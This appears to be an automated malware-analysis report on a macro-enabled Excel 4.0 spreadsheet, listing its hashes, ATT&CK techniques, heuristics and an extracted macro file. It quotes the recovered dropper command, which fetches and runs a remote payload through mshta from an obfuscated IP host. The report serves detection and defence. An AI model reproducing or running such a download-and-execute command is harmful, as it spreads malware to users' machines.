Office (OLE) / .XLS malware analysis — malicious · 96f21d458b913863

MALICIOUS

Office (OLE) / .XLS

65.1 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel

MD5: 002e8559f7b7e337f9875f0b2eb4c79f SHA-1: 88fe37e0a3fa64557c908d8d6535aa8e6f4908c5 SHA-256: 96f21d458b913863e5b84aa92a4fa9f01c39846410fcd15dc679bfedc30ad8a7

100 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File: User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic

The sample is an Excel 4.0 macro-enabled spreadsheet that uses a "lure" to trick the user into enabling macros. Upon enabling, it executes an XLM macro that reconstructs and runs the command 'cmd /c mshhta http://0xc12a24f5/cc.html'. This command downloads and executes a second-stage payload from the specified URL. The macro sheet also contains an Auto_Open entry, indicating automatic execution upon opening.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1073 bytes

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